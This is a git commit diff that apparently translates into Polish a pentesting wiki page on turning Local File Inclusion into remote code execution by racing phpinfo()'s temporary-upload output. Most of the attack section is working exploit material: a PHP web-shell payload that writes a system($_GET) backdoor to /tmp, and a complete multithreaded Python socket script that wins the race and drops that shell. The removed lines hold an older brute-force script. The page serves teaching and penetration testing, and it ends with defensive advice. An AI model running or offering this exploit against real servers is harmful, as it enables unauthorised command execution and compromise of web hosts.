Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:52:26 +00:00
parent 2bab9edd96
commit 05fa018f00

View File

@ -1,55 +1,156 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".**
Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów:
- Dostępnej strony, która wypisuje wynik phpinfo().
- Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika).
- Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części.
- Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Klasyczne opracowanie i oryginalny PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz:
Uwagi dotyczące oryginalnego PoC
- Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name].
- Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku.
Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null)
## Teoria
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
- Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['<field>']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony.
- Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name.
- Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką.
### Teoria
W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\\Windows\\Temp\\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir.
Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany.
## Przebieg ataku (krok po kroku)
Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty.
1) Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~510KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES.
W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php**
3) Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['<field>']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php.
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
4) Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia.
**phpinfo()**
> Wskazówki
> - Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu.
> - Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu.
> - Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego.
**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI.
## Minimalny PoC Python 3 (oparty na socketach)
**Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)**
Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD.
```python
import itertools
import requests
import sys
#!/usr/bin/env python3
import re, html, socket, threading
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
print('[x] Something went wrong, please try again')
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Rozwiązywanie problemów
- Nigdy nie widzisz tmp_name: Upewnij się, że naprawdę wysyłasz POST multipart/form-data do phpinfo(). phpinfo() wypisuje $_FILES tylko gdy pole przesyłania pliku było obecne.
- Wyjście nie jest wysyłane wcześnie: zwiększ padding, dodaj więcej dużych nagłówków lub wyślij wiele równoległych żądań. Niektóre SAPI/bufory nie wypuszczają danych aż do osiągnięcia większych progów; dostosuj odpowiednio.
- Ścieżka LFI zablokowana przez open_basedir lub chroot: musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE.
- Katalog tymczasowy nie jest /tmp: phpinfo() wypisuje pełną absolutną ścieżkę tmp_name; użyj tej dokładnej ścieżki w LFI.
## Wskazówki obronne
- Nigdy nie udostępniaj phpinfo() w środowisku produkcyjnym. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu.
- Trzymaj file_uploads wyłączone jeśli nie są potrzebne. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację wszystkich ścieżek include/require.
- Traktuj każde LFI jako krytyczne; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE.
## Powiązane techniki HackTricks
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Referencje
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}